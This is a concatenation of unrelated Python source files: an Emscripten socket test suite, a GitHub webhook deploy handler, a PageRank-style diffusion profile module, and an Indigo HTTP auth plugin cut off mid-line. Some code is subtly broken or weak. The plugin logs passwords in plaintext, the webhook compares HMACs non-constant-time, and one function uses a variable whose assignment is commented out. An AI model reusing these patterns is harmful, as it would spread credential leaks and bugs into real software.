#skip desired number of frames to speed up processing for i in range (1): vid.grab() return_value, frame = vid.read() if return_value: buff.put(frame) else: print('Video has ended') coord.request_stop() if __name__ == "__main__": main()
test_sockets.py
import os, multiprocessing, subprocess from runner import BrowserCore, path_from_root from tools.shared import * def clean_pids(pids): import signal, errno def pid_exists(pid): try: # NOTE: may just kill the process in Windows os.kill(pid, 0) except OSError, e: return e.errno == errno.EPERM else: return True def kill_pids(pids, sig): for pid in pids: if not pid_exists(pid): break print '[killing %d]' % pid try: os.kill(pid, sig) print '[kill succeeded]' except: print '[kill fail]' # ask nicely (to try and catch the children) kill_pids(pids, signal.SIGTERM) time.sleep(1) # extreme prejudice, may leave children kill_pids(pids, signal.SIGKILL) def make_relay_server(port1, port2): print >> sys.stderr, 'creating relay server on ports %d,%d' % (port1, port2) proc = Popen([PYTHON, path_from_root('tests', 'sockets', 'socket_relay.py'), str(port1), str(port2)]) return proc class WebsockifyServerHarness: def __init__(self, filename, args, listen_port): self.pids = [] self.filename = filename self.listen_port = listen_port self.target_port = listen_port-1 self.args = args or [] def __enter__(self): import socket, websockify # compile the server # NOTE empty filename support is a hack to support # the current test_enet if self.filename: Popen([CLANG_CC, path_from_root('tests', self.filename), '-o', 'server', '-DSOCKK=%d' % self.target_port] + get_clang_native_args() + self.args).communicate() process = Popen([os.path.abspath('server')]) self.pids.append(process.pid) # start the websocket proxy print >> sys.stderr, 'running websockify on %d, forward to tcp %d' % (self.listen_port, self.target_port) wsp = websockify.WebSocketProxy(verbose=True, listen_port=self.listen_port, target_host="127.0.0.1", target_port=self.target_port, run_once=True) self.websockify = multiprocessing.Process(target=wsp.start_server) self.websockify.start() self.pids.append(self.websockify.pid) print '[Websockify on process %s]' % str(self.pids[-2:]) def __exit__(self, *args, **kwargs): # try to kill the websockify proxy gracefully if self.websockify.is_alive(): self.websockify.terminate() self.websockify.join() # clean up any processes we started clean_pids(self.pids) class CompiledServerHarness: def __init__(self, filename, args, listen_port): self.pids = [] self.filename = filename self.listen_port = listen_port self.args = args or [] def __enter__(self): # assuming this is only used for WebSocket tests at the moment, validate that # the ws module is installed child = Popen(NODE_JS + ['-e', 'require("ws");']) child.communicate() assert child.returncode == 0, 'ws module for Node.js not installed. Please run \'npm install\' from %s' % EMSCRIPTEN_ROOT # compile the server Popen([PYTHON, EMCC, path_from_root('tests', self.filename), '-o', 'server.js', '-DSOCKK=%d' % self.listen_port] + self.args).communicate() process = Popen(NODE_JS + ['server.js']) self.pids.append(process.pid) def __exit__(self, *args, **kwargs): # clean up any processes we started clean_pids(self.pids) # always run these tests last # make sure to use different ports in each one because it takes a while for the processes to be cleaned up # NOTE all datagram tests are temporarily disabled, as # we can't truly test datagram sockets until we have # proper listen server support. def filter_harnesses(harnesses): # XXX avoid websockify for now due to intermittent errors. see issue #2700 return filter(lambda harness: (harness[0].__class__ if type(harness) is tuple else harness.__class__) is not WebsockifyServerHarness, harnesses) class sockets(BrowserCore): def test_inet(self): src = r''' #include <stdio.h> #include <arpa/inet.h> int main() { printf("*%x,%x,%x,%x,%x,%x*\n", htonl(0xa1b2c3d4), htonl(0xfe3572e0), htonl(0x07abcdf0), htons(0xabcd), ntohl(0x43211234), ntohs(0xbeaf)); in_addr_t i = inet_addr("190.180.10.78"); printf("%x\n", i); return 0; } ''' self.do_run(src, '*d4c3b2a1,e07235fe,f0cdab07,cdab,34122143,afbe*\n4e0ab4be\n') def test_inet2(self): src = r''' #include <stdio.h> #include <arpa/inet.h> int main() { struct in_addr x, x2; int *y = (int*)&x; *y = 0x12345678; printf("%s\n", inet_ntoa(x)); int r = inet_aton(inet_ntoa(x), &x2); printf("%s\n", inet_ntoa(x2)); return 0; } ''' self.do_run(src, '120.86.52.18\n120.86.52.18\n') def test_inet3(self): src = r''' #include <stdio.h> #include <arpa/inet.h> #include <sys/socket.h> int main() { char dst[64]; struct in_addr x, x2; int *y = (int*)&x; *y = 0x12345678; printf("%s\n", inet_ntop(AF_INET,&x,dst,sizeof dst)); int r = inet_aton(inet_ntoa(x), &x2); printf("%s\n", inet_ntop(AF_INET,&x2,dst,sizeof dst)); return 0; } ''' self.do_run(src, '120.86.52.18\n120.86.52.18\n') def test_inet4(self): if Settings.USE_TYPED_ARRAYS != 2: return self.skip('requires ta2') src = r''' #include <stdio.h> #include <arpa/inet.h> #include <sys/socket.h> void test(char *test_addr){ char str[40]; struct in6_addr addr; unsigned char *p = (unsigned char*)&addr; int ret; ret = inet_pton(AF_INET6,test_addr,&addr); if(ret == -1) return; if(ret == 0) return; if(inet_ntop(AF_INET6,&addr,str,sizeof(str)) == NULL ) return; printf("%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x - %s\n", p[0],p[1],p[2],p[3],p[4],p[5],p[6],p[7],p[8],p[9],p[10],p[11],p[12],p[13],p[14],p[15],str); } int main(){ test("::"); test("::1"); test("::1.2.3.4"); test("::17.18.19.20"); test("::ffff:1.2.3.4"); test("1::ffff"); test("::255.255.255.255"); test("0:ff00:1::"); test("0:ff::"); test("abcd::"); test("ffff::a"); test("ffff::a:b"); test("ffff::a:b:c"); test("ffff::a:b:c:d"); test("ffff::a:b:c:d:e"); test("::1:2:0:0:0"); test("0:0:1:2:3::"); test("ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff"); test("1::255.255.255.255"); //below should fail and not produce results.. test("1.2.3.4"); test(""); test("-"); } ''' self.do_run(src, "0000:0000:0000:0000:0000:0000:0000:0000 - ::\n" "0000:0000:0000:0000:0000:0000:0000:0001 - ::1\n" "0000:0000:0000:0000:0000:0000:0102:0304 - ::1.2.3.4\n" "0000:0000:0000:0000:0000:0000:1112:1314 - ::17.18.19.20\n" "0000:0000:0000:0000:0000:ffff:0102:0304 - ::ffff:1.2.3.4\n" "0001:0000:0000:0000:0000:0000:0000:ffff - 1::ffff\n" "0000:0000:0000:0000:0000:0000:ffff:ffff - ::255.255.255.255\n" "0000:ff00:0001:0000:0000:0000:0000:0000 - 0:ff00:1::\n" "0000:00ff:0000:0000:0000:0000:0000:0000 - 0:ff::\n" "abcd:0000:0000:0000:0000:0000:0000:0000 - abcd::\n" "ffff:0000:0000:0000:0000:0000:0000:000a - ffff::a\n" "ffff:0000:0000:0000:0000:0000:000a:000b - ffff::a:b\n" "ffff:0000:0000:0000:0000:000a:000b:000c - ffff::a:b:c\n" "ffff:0000:0000:0000:000a:000b:000c:000d - ffff::a:b:c:d\n" "ffff:0000:0000:000a:000b:000c:000d:000e - ffff::a:b:c:d:e\n" "0000:0000:0000:0001:0002:0000:0000:0000 - ::1:2:0:0:0\n" "0000:0000:0001:0002:0003:0000:0000:0000 - 0:0:1:2:3::\n" "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff - ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff\n" "0001:0000:0000:0000:0000:0000:ffff:ffff - 1::ffff:ffff\n" ) def test_getaddrinfo(self): self.emcc_args=[] self.do_run(open(path_from_root('tests', 'sockets', 'test_getaddrinfo.c')).read(), 'success') def test_getnameinfo(self): self.do_run(open(path_from_root('tests', 'sockets', 'test_getnameinfo.c')).read(), 'success') def test_gethostbyname(self): self.do_run(open(path_from_root('tests', 'sockets', 'test_gethostbyname.c')).read(), 'success') def test_getprotobyname(self): self.do_run(open(path_from_root('tests', 'sockets', 'test_getprotobyname.c')).read(), 'success') def test_sockets_echo(self): sockets_include = '-I'+path_from_root('tests', 'sockets') # Websockify-proxied servers can't run dgram tests harnesses = [ (WebsockifyServerHarness(os.path.join('sockets', 'test_sockets_echo_server.c'), [sockets_include], 49160), 0), (CompiledServerHarness(os.path.join('sockets', 'test_sockets_echo_server.c'), [sockets_include, '-DTEST_DGRAM=0'], 49161), 0), (CompiledServerHarness(os.path.join('sockets', 'test_sockets_echo_server.c'), [sockets_include, '-DTEST_DGRAM=1'], 49162), 1), # The following forces non-NULL addr and addlen parameters for the accept call (CompiledServerHarness(os.path.join('sockets', 'test_sockets_echo_server.c'), [sockets_include, '-DTEST_DGRAM=0', '-DTEST_ACCEPT_ADDR=1'], 49163), 0) ] harnesses = filter_harnesses(harnesses) for harness, datagram in harnesses: with harness: self.btest(os.path.join('sockets', 'test_sockets_echo_client.c'), expected='0', args=['-DSOCKK=%d' % harness.listen_port, '-DTEST_DGRAM=%d' % datagram, sockets_include]) def test_sockets_async_echo(self): # Run with ./runner.py sockets.test_sockets_async_echo sockets_include = '-I'+path_from_root('tests', 'sockets') # Websockify-proxied servers can't run dgram tests harnesses = [ (WebsockifyServerHarness(os.path.join('sockets', 'test_sockets_echo_server.c'), [sockets_include, '-DTEST_ASYNC=1'], 49165), 0), (CompiledServerHarness(os.path.join('sockets', 'test_sockets_echo_server.c'), [sockets_include, '-DTEST_DGRAM=0', '-DTEST_ASYNC=1'], 49166), 0), (CompiledServerHarness(os.path.join('sockets', 'test_sockets_echo_server.c'), [sockets_include, '-DTEST_DGRAM=1', '-DTEST_ASYNC=1'], 49167), 1), # The following forces non-NULL addr and addlen parameters for the accept call (CompiledServerHarness(os.path.join('sockets', 'test_sockets_echo_server.c'), [sockets_include, '-DTEST_DGRAM=0', '-DTEST_ACCEPT_ADDR=1', '-DTEST_ASYNC=1'], 49168), 0) ] #harnesses = filter_harnesses(harnesses) for harness, datagram in harnesses: with harness: self.btest(os.path.join('sockets', 'test_sockets_echo_client.c'), expected='0', args=['-DSOCKK=%d' % harness.listen_port, '-DTEST_DGRAM=%d' % datagram, '-DTEST_ASYNC=1', sockets_include]) # Deliberately attempt a connection on a port that will fail to test the error callback and getsockopt self.btest(os.path.join('sockets', 'test_sockets_echo_client.c'), expected='0', args=['-DSOCKK=49169', '-DTEST_ASYNC=1', sockets_include]) def test_sockets_echo_bigdata(self): sockets_include = '-I'+path_from_root('tests', 'sockets') # generate a large string literal to use as our message message = '' for i in range(256*256*2): message += str(unichr(ord('a') + (i % 26))) # re-write the client test with this literal (it's too big to pass via command line) input_filename = path_from_root('tests', 'sockets', 'test_sockets_echo_client.c') input = open(input_filename).read() output = input.replace('#define MESSAGE "pingtothepong"', '#define MESSAGE "%s"' % message) harnesses = [ (WebsockifyServerHarness(os.path.join('sockets', 'test_sockets_echo_server.c'), [sockets_include], 49170), 0), (CompiledServerHarness(os.path.join('sockets', 'test_sockets_echo_server.c'), [sockets_include, '-DTEST_DGRAM=0'], 49171), 0), (CompiledServerHarness(os.path.join('sockets', 'test_sockets_echo_server.c'), [sockets_include, '-DTEST_DGRAM=1'], 49172), 1) ] harnesses = filter_harnesses(harnesses) for harness, datagram in harnesses: with harness: self.btest(output, expected='0', args=[sockets_include, '-DSOCKK=%d' % harness.listen_port, '-DTEST_DGRAM=%d' % datagram], force_c=True) def test_sockets_partial(self): for harness in [ WebsockifyServerHarness(os.path.join('sockets', 'test_sockets_partial_server.c'), [], 49180), CompiledServerHarness(os.path.join('sockets', 'test_sockets_partial_server.c'), [], 49181) ]: with harness: self.btest(os.path.join('sockets', 'test_sockets_partial_client.c'), expected='165', args=['-DSOCKK=%d' % harness.listen_port]) def test_sockets_select_server_down(self): for harness in [ WebsockifyServerHarness(os.path.join('sockets', 'test_sockets_select_server_down_server.c'), [], 49190), CompiledServerHarness(os.path.join('sockets', 'test_sockets_select_server_down_server.c'), [], 49191) ]: with harness: self.btest(os.path.join('sockets', 'test_sockets_select_server_down_client.c'), expected='266', args=['-DSOCKK=%d' % harness.listen_port]) def test_sockets_select_server_closes_connection_rw(self): sockets_include = '-I'+path_from_root('tests', 'sockets') for harness in [ WebsockifyServerHarness(os.path.join('sockets', 'test_sockets_echo_server.c'), [sockets_include, '-DCLOSE_CLIENT_AFTER_ECHO'], 49200), CompiledServerHarness(os.path.join('sockets', 'test_sockets_echo_server.c'), [sockets_include, '-DCLOSE_CLIENT_AFTER_ECHO'], 49201) ]: with harness: self.btest(os.path.join('sockets', 'test_sockets_select_server_closes_connection_client_rw.c'), expected='266', args=[sockets_include, '-DSOCKK=%d' % harness.listen_port]) def test_enet(self): # this is also a good test of raw usage of emconfigure and emmake try_delete(self.in_dir('enet')) shutil.copytree(path_from_root('tests', 'enet'), self.in_dir('enet')) pwd = os.getcwd() os.chdir(self.in_dir('enet')) Popen([PYTHON, path_from_root('emconfigure'), './configure']).communicate() Popen([PYTHON, path_from_root('emmake'), 'make']).communicate() enet = [self.in_dir('enet', '.libs', 'libenet.a'), '-I'+path_from_root('tests', 'enet', 'include')] os.chdir(pwd) for harness in [ CompiledServerHarness(os.path.join('sockets', 'test_enet_server.c'), enet, 49210) ]: with harness: self.btest(os.path.join('sockets', 'test_enet_client.c'), expected='0', args=enet + ['-DSOCKK=%d' % harness.listen_port]) # This test is no longer in use for WebSockets as we can't truly emulate # a server in the browser (in the past, there were some hacks to make it # somewhat work, but those have been removed). However, with WebRTC it # should be able to resurect this test. # def test_enet_in_browser(self): # try_delete(self.in_dir('enet')) # shutil.copytree(path_from_root('tests', 'enet'), self.in_dir('enet')) # pwd = os.getcwd() # os.chdir(self.in_dir('enet')) # Popen([PYTHON, path_from_root('emconfigure'), './configure']).communicate() # Popen([PYTHON, path_from_root('emmake'), 'make']).communicate() # enet = [self.in_dir('enet', '.libs', 'libenet.a'), '-I'+path_from_root('tests', 'enet', 'include')] # os.chdir(pwd) # Popen([PYTHON, EMCC, path_from_root('tests', 'sockets', 'test_enet_server.c'), '-o', 'server.html', '-DSOCKK=2235'] + enet).communicate() # with WebsockifyServerHarness('', [], 2235, 2234): # with WebsockifyServerHarness('', [], 2237, 2236): # pids = [] # try: # proc = make_relay_server(2234, 2236) # pids.append(proc.pid) # self.btest(os.path.join('sockets', 'test_enet_client.c'), expected='0', args=['-DSOCKK=2237', '-DUSE_IFRAME=1'] + enet) # finally: # clean_pids(pids); def zzztest_webrtc(self): # XXX see src/settings.js, this is disabled pending investigation host_src = 'webrtc_host.c' peer_src = 'webrtc_peer.c' host_outfile = 'host.html' peer_outfile = 'peer.html' host_filepath = path_from_root('tests', 'sockets', host_src) temp_host_filepath = os.path.join(self.get_dir(), os.path.basename(host_src)) with open(host_filepath) as f: host_src = f.read() with open(temp_host_filepath, 'w') as f: f.write(self.with_report_result(host_src)) peer_filepath = path_from_root('tests', 'sockets', peer_src) temp_peer_filepath = os.path.join(self.get_dir(), os.path.basename(peer_src)) with open(peer_filepath) as f: peer_src = f.read() with open(temp_peer_filepath, 'w') as f: f.write(self.with_report_result(peer_src)) open(os.path.join(self.get_dir(), 'host_pre.js'), 'w').write(''' var Module = { webrtc: { broker: 'http://localhost:8182', session: undefined, onpeer: function(peer, route) { window.open('http://localhost:8888/peer.html?' + route); // iframe = document.createElement("IFRAME"); // iframe.setAttribute("src", "http://localhost:8888/peer.html?" + route); // iframe.style.display = "none"; // document.body.appendChild(iframe); peer.listen(); }, onconnect: function(peer) { }, ondisconnect: function(peer) { }, onerror: function(error) { console.error(error); } }, }; ''') open(os.path.join(self.get_dir(), 'peer_pre.js'), 'w').write(''' var Module = { webrtc: { broker: 'http://localhost:8182', session: window.location.toString().split('?')[1], onpeer: function(peer, route) { peer.connect(Module['webrtc']['session']); }, onconnect: function(peer) { }, ondisconnect: function(peer) { // Calling window.close() from this handler hangs my browser, so run it in the next turn setTimeout(window.close, 0); }, onerror: function(error) { console.error(error); } } }; ''') Popen([PYTHON, EMCC, temp_host_filepath, '-o', host_outfile] + ['-s', 'GL_TESTING=1', '--pre-js', 'host_pre.js', '-s', 'SOCKET_WEBRTC=1', '-s', 'SOCKET_DEBUG=1']).communicate() Popen([PYTHON, EMCC, temp_peer_filepath, '-o', peer_outfile] + ['-s', 'GL_TESTING=1', '--pre-js', 'peer_pre.js', '-s', 'SOCKET_WEBRTC=1', '-s', 'SOCKET_DEBUG=1']).communicate() # note: you may need to run this manually yourself, if npm is not in the path, or if you need a version that is not in the path Popen(['npm', 'install', path_from_root('tests', 'sockets', 'p2p')]).communicate() broker = Popen(NODE_JS + [path_from_root('tests', 'sockets', 'p2p', 'broker', 'p2p-broker.js')]) expected = '1' self.run_browser(host_outfile, '.', ['/report_result?' + e for e in expected]) broker.kill(); def test_nodejs_sockets_echo(self): # This test checks that sockets work when the client code is run in Node.js # Run with ./runner.py sockets.test_nodejs_sockets_echo if not NODE_JS in JS_ENGINES: return self.skip('node is not present') sockets_include = '-I'+path_from_root('tests', 'sockets') harnesses = [ (WebsockifyServerHarness(os.path.join('sockets', 'test_sockets_echo_server.c'), [sockets_include], 59160), 0), (CompiledServerHarness(os.path.join('sockets', 'test_sockets_echo_server.c'), [sockets_include, '-DTEST_DGRAM=0'], 59162), 0), (CompiledServerHarness(os.path.join('sockets', 'test_sockets_echo_server.c'), [sockets_include, '-DTEST_DGRAM=1'], 59164), 1) ] harnesses = filter_harnesses(harnesses) # Basic test of node client against both a Websockified and compiled echo server. for harness, datagram in harnesses: with harness: Popen([PYTHON, EMCC, path_from_root('tests', 'sockets', 'test_sockets_echo_client.c'), '-o', 'client.js', '-DSOCKK=%d' % harness.listen_port, '-DTEST_DGRAM=%d' % datagram, '-DREPORT_RESULT=int dummy'], stdout=PIPE, stderr=PIPE).communicate() out = run_js('client.js', engine=NODE_JS, full_output=True) self.assertContained('do_msg_read: read 14 bytes', out) # Test against a Websockified server with compile time configured WebSocket subprotocol. We use a Websockified # server because as long as the subprotocol list contains binary it will configure itself to accept binary # This test also checks that the connect url contains the correct subprotocols. print "\nTesting compile time WebSocket configuration.\n" for harness in filter_harnesses([ WebsockifyServerHarness(os.path.join('sockets', 'test_sockets_echo_server.c'), [sockets_include], 59166) ]): with harness: Popen([PYTHON, EMCC, path_from_root('tests', 'sockets', 'test_sockets_echo_client.c'), '-o', 'client.js', '-s', 'SOCKET_DEBUG=1', '-s', 'WEBSOCKET_SUBPROTOCOL="base64, binary"', '-DSOCKK=59166', '-DREPORT_RESULT=int dummy'], stdout=PIPE, stderr=PIPE).communicate() out = run_js('client.js', engine=NODE_JS, full_output=True) self.assertContained('do_msg_read: read 14 bytes', out) self.assertContained(['connect: ws://127.0.0.1:59166, base64,binary', 'connect: ws://127.0.0.1:59166/, base64,binary'], out) # Test against a Websockified server with runtime WebSocket configuration. We specify both url and subprotocol. # In this test we have *deliberately* used the wrong port '-DSOCKK=12345' to configure the echo_client.c, so # the connection would fail without us specifying a valid WebSocket URL in the configuration. print "\nTesting runtime WebSocket configuration.\n" for harness in filter_harnesses([ WebsockifyServerHarness(os.path.join('sockets', 'test_sockets_echo_server.c'), [sockets_include], 59168) ]): with harness: open(os.path.join(self.get_dir(), 'websocket_pre.js'), 'w').write(''' var Module = { websocket: { url: 'ws://localhost:59168/testA/testB', subprotocol: 'text, base64, binary', } }; ''') Popen([PYTHON, EMCC, path_from_root('tests', 'sockets', 'test_sockets_echo_client.c'), '-o', 'client.js', '--pre-js', 'websocket_pre.js', '-s', 'SOCKET_DEBUG=1', '-DSOCKK=12345', '-DREPORT_RESULT=int dummy'], stdout=PIPE, stderr=PIPE).communicate() out = run_js('client.js', engine=NODE_JS, full_output=True) self.assertContained('do_msg_read: read 14 bytes', out) self.assertContained('connect: ws://localhost:59168/testA/testB, text,base64,binary', out)
deploy_handler.py
__author__ = 'magus0219' import logging from config import DEBUG as _DEBUG, GITHUB as _GITHUB_CFG from .common_handler import CommonHandler from core.deploy_manager import dmc from core.payload import PayLoad import threading import json import hmac from utils.mongo_handler import mongodb_client logger_server = logging.getLogger("DeployServer.DeployHandler") class DeployHandler(CommonHandler): def post(self): # Auth git request self.event = self.request.headers.get('X-Github-Event', None) # event name like 'push'... self.signature = self.request.headers.get('X-Hub-Signature', None).split('=')[ 1] # e.g. sha1=a8d9e5c1c6e0f19b5a508c508d5204de171cbf1b self.delivery_uuid = self.request.headers.get('X-Github-Delivery', None) # deliver uuid if _DEBUG == True: logger_server.debug( "Post Github Delivery[{uuid}] which type is [{type}] with signature [{signature}]".format( uuid=self.delivery_uuid, type=self.event, signature=self.signature)) h = hmac.new(_GITHUB_CFG['SECRET'].encode('utf8'), digestmod='sha1') h.update(self.request.body) # Fail if h.hexdigest() != self.signature: self.set_status(401) elif not self.event or not self.signature or not self.delivery_uuid: self.set_status(401) elif self.event == 'ping': if _DEBUG == True: logger_server.debug("Ping pass..") else: # Pass if _DEBUG == True: logger_server.debug("Auth pass..") self.payload = json.loads(self.request.body.decode("utf8")) payload = PayLoad.create_by_payload(self.delivery_uuid, self.event, self.payload) if _DEBUG == True: logger_server.debug("Is Tag:{istag}".format(istag=str(payload.is_tag))) repo_name = payload.repository_name if _DEBUG == True: logger_server.debug("Repo Name:{repo_name}".format(repo_name=repo_name)) if payload and dmc.need_handle_payload(payload): # Logging to db mongodb_client['deployment']['webhook'].insert({'event': self.event, 'signature': self.signature, 'delivery_uuid': self.delivery_uuid, 'payload': self.payload}) t = threading.Thread(target=dmc.get_dm_by_payload(payload).handle_event, args=(self.delivery_uuid, self.event, payload)) t.start()
diffusion_profiles.py
import os import pickle import multiprocessing import networkx as nx import math import time import copy import scipy import numpy as np WEIGHT = 'weight' class DiffusionProfiles(): def __init__(self, alpha, max_iter, tol, weights, num_cores, save_load_file_path): self.alpha = alpha self.max_iter = max_iter self.tol = tol self.weights = weights self.num_cores = num_cores self.save_load_file_path = save_load_file_path def get_initial_M(self, msi): # This function is adapted from the NetworkX implementation of Personalized PageRank # M = nx.to_scipy_sparse_matrix(msi.graph, nodelist = msi.nodelist, weight = WEIGHT, dtype = float) N = len(msi.graph) if (N == 0): assert(False) self.initial_M = M def convert_M_to_make_all_drugs_indications_sinks_except_selected(self, msi, selected_drugs_and_indications): reconstructed_M = copy.deepcopy(self.initial_M) # Delete edges INTO selected drugs and indications for drug_or_indication in selected_drugs_and_indications: proteins_pointing_to_selected_drug_or_indication = msi.drug_or_indication2proteins[drug_or_indication] idxs_to_remove_in_edges = [msi.node2idx[protein] for protein in proteins_pointing_to_selected_drug_or_indication] reconstructed_M[idxs_to_remove_in_edges, msi.node2idx[drug_or_indication]] = 0 # Delete edges OUT of nonselected drugs and indications idxs_to_remove_out_edges = [] for drug_or_indication in msi.drugs_in_graph + msi.indications_in_graph: if not(drug_or_indication in selected_drugs_and_indications): proteins_drug_or_indication_points_to = msi.drug_or_indication2proteins[drug_or_indication] for protein in proteins_drug_or_indication_points_to: idxs_to_remove_out_edges.append((msi.node2idx[drug_or_indication], msi.node2idx[protein])) i, j = zip(*idxs_to_remove_out_edges) reconstructed_M[i, j] = 0.0 return reconstructed_M def refine_M_S(self, M): # This function is adapted from the NetworkX implementation of Personalized PageRank # S = scipy.array(M.sum(axis=1)).flatten() S[S != 0] = 1.0 / S[S != 0] Q = scipy.sparse.spdiags(S.T, 0, *M.shape, format='csr') M = Q * M return M, S def get_personalization_dictionary(self, nodes_to_start_from, nodelist): personalization_dict = dict.fromkeys(nodelist, 0) N = len(nodes_to_start_from) for node in nodes_to_start_from: personalization_dict[node] = 1./N return personalization_dict def power_iteration(self, M, S, nodelist, per_dict): # This function is adapted from the NetworkX implementation of Personalized PageRank # # Size of nodelist N = len(nodelist) # Personalization vector missing = set(nodelist) - set(per_dict) if missing: raise NetworkXError('Personalization dictionary must have a value for every node. Missing nodes %s' % missing) p = scipy.array([per_dict[n] for n in nodelist], dtype=float) p = p / p.sum() # Dangling nodes dangling_weights = p is_dangling = scipy.where(S == 0)[0] # power iteration: make up to max_iter iterations x = scipy.repeat(1.0 / N, N) # Initialize; alternatively x = p for _ in range(self.max_iter): xlast = x x = self.alpha * (x * M + sum(x[is_dangling]) * dangling_weights) + (1 - self.alpha) * p # check convergence, l1 norm err = scipy.absolute(x - xlast).sum() if err < N * self.tol: return x raise NetworkXError('pagerank_scipy: power iteration failed to converge in %d iterations.' % self.max_iter) def clean_file_name(self, file_name): return "".join([c for c in file_name if c.isalpha() or c.isdigit() or c==' ' or c =="_"]).rstrip() def save_diffusion_profile(self, diffusion_profile, selected_drug_or_indication): f = os.path.join(self.save_load_file_path, self.clean_file_name(selected_drug_or_indication) + "_p_visit_array.npy") np.save(f, diffusion_profile) def calculate_diffusion_profile_batch(self, msi, selected_drugs_and_indications_batch): for selected_drugs_and_indications in selected_drugs_and_indications_batch: self.calculate_diffusion_profile(msi, selected_drugs_and_indications) def calculate_diffusion_profile(self, msi, selected_drugs_and_indications): assert(len(selected_drugs_and_indications) == 1) # Not enabling functionality to run from multiple selected_drug_or_indication = selected_drugs_and_indications[0] M = self.convert_M_to_make_all_drugs_indications_sinks_except_selected(msi, selected_drugs_and_indications) M, S = self.refine_M_S(M) per_dict = self.get_personalization_dictionary(selected_drugs_and_indications, msi.nodelist) diffusion_profile = self.power_iteration(M, S, msi.nodelist, per_dict) self.save_diffusion_profile(diffusion_profile, selected_drug_or_indication) def batch_list(self, list_, batch_size = None, num_cores = None): if batch_size == float('inf'): batched_list = [list_] else: if batch_size is None: batch_size = math.ceil(len(list_) / (float(num_cores))) batched_list = [] for i in range(0, len(list_), batch_size): batched_list.append(list_[i:i + batch_size]) return batched_list def calculate_diffusion_profiles(self, msi): # Save MSI graph and node2idx msi.save_graph(self.save_load_file_path) msi.save_node2idx(self.save_load_file_path) # Weight graph msi.weight_graph(self.weights) # Prepare to run power iteration in parallel self.get_initial_M(msi) computation_list = [[i] for i in msi.drugs_in_graph + msi.indications_in_graph] # Run power iteration in parallel computation_list_batches = self.batch_list(computation_list, num_cores = self.num_cores) procs = [] for computation_list_batch in computation_list_batches: # Don't launch more processes than the maximum number of cores while(len([job for job in procs if job.is_alive()]) == self.num_cores): time.sleep(1) proc = multiprocessing.Process(target = self.calculate_diffusion_profile_batch, args = (msi, computation_list_batch)) procs.append(proc) proc.start() # Wait until all processes done before moving forward while(len([job for job in procs if job.is_alive()]) > 0): time.sleep(1) # Stop all of the jobs and close them for job in procs: proc.join() proc.terminate() def load_diffusion_profiles(self, drugs_and_indications): assert(not(self.save_load_file_path is None)) # Load diffusion profiles drug_or_indication2diffusion_profile = dict() for drug_or_indication in drugs_and_indications: file_path = os.path.join(self.save_load_file_path, self.clean_file_name(drug_or_indication) + "_p_visit_array.npy") if (os.path.exists(file_path)): diffusion_profile = np.load(file_path) drug_or_indication2diffusion_profile[drug_or_indication] = diffusion_profile else: print("Loading failed at " + str(drug_or_indication) + " | " + str(file_path)) self.drug_or_indication2diffusion_profile = drug_or_indication2diffusion_profile
plugin.py
#! /usr/bin/env python # -*- coding: utf-8 -*- #################### import base64 import logging import json import ssl import os.path import hashlib import time import threading from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler from urlparse import urlparse, parse_qs import urllib2 import indigo REALM = "HTTPd Plugin" ######################################## class MyHTTPServer(HTTPServer): def set_auth_params(self, httpUser, httpPassword, digestRequired): self.logger = logging.getLogger("Plugin.MyHTTPServer") self.httpUser = httpUser self.httpPassword = httpPassword self.digestRequired = bool(digestRequired) self.logger.debug("MyHTTPServer, username = {}, password = {}, digest = {}".format(self.httpUser, self.httpPassword, self.digestRequired)) def set_dev_id(self, devID): self.devID = devID self.logger.debug("MyHTTPServer, devID = {}".format(self.devID)) def set_state_list(self, state_list): self.state_list = state_list class MyRequestHandler(BaseHTTPRequestHandler): def send_reply(self, code): nonce = hashlib.md5("{}:{}".format(time.time(), REALM)).hexdigest() if self.server.digestRequired: authHeader = 'Digest realm="{}", nonce="{}", algorithm="MD5", qop="auth"'.format(REALM, nonce) else: authHeader = 'Digest realm="{}", nonce="{}", algorithm="MD5", qop="auth" Basic realm="{}"'.format(REALM, nonce, REALM) self.send_response(code) self.send_header('WWW-Authenticate', authHeader) self.send_header("Content-type", "text/html") self.end_headers() def is_authorized(self): if len(self.server.httpPassword) == 0: # no authentication needed self.logger.debug("MyRequestHandler: No password specified in device configuration, skipping authentication") return True auth_header = self.headers.getheader('Authorization') if auth_header == None: self.logger.debug("MyRequestHandler: Request has no Authorization header:") headers = {key:value for (key,value) in self.headers.items()} self.logger.debug("{}".format(headers)) return False auth_scheme, auth_params = auth_header.split(" ", 1) auth_scheme = auth_scheme.lower() if auth_scheme == 'basic': username, password = base64.decodestring(auth_params).split (":", 1) auth_map = {"username": username, "password": password} elif auth_scheme == 'digest': # Convert the auth params to a dict items = urllib2.parse_http_list(auth_params) auth_map = urllib2.parse_keqv_list(items) else: self.logger.debug(u"MyRequestHandler: Invalid authentication scheme: {}".format(auth_scheme)) return False self.logger.debug("MyRequestHandler: auth_map = {}".format(auth_map)) # check username if auth_map["username"] != self.server.httpUser: self.logger.debug("MyRequestHandler: Username mismatch") return False if auth_scheme == "basic": if self.server.digestRequired: self.logger.debug(u"MyRequestHandler: {} Authorization not allowed".format(auth_scheme).capitalize()) return False if auth_map["password"] == self.server.httpPassword: self.logger.debug(u"MyRequestHandler: {} Authorization valid".format(auth_scheme).capitalize()) return True else: self.logger.debug(u"MyRequestHandler: {} Authorization failed".format(auth_scheme).capitalize()) return False elif auth_scheme == "digest": h1 = hashlib.md5(self.server.httpUser + ":" + REALM + ":" + self.server.httpPassword).hexdigest() h2 = hashlib.md5(self.command + ":" + auth_map["uri"]).hexdigest() rs = h1 + ":" + auth_map["nonce"] + ":" + auth_map["nc"] + ":" + auth_map["cnonce"] + ":" + auth_map["qop"] + ":" + h2 if hashlib.md5(rs).hexdigest() == auth_map["response"]: self.logger.debug(u"MyRequestHandler: {} Authorization valid".format(auth_scheme).capitalize()) return True else: self.logger.debug(u"MyRequestHandler: {} Authorization failed".format(auth_scheme).capitalize()) return False else: self.logger.debug(u"MyRequestHandler: {} Authorization invalid".format(auth_scheme).capitalize()) return False def do_setvar(self, request): device = indigo.devices[self.server.devID] self.logger.debug(u"{}: MyRequestHandler: updating device".format(device.name)) saved_states = json.loads(device.pluginProps.get("saved_states", "{}")) self.logger.threaddebug(u"{}: MyRequestHandler: saved_states = {}".format(device.name, 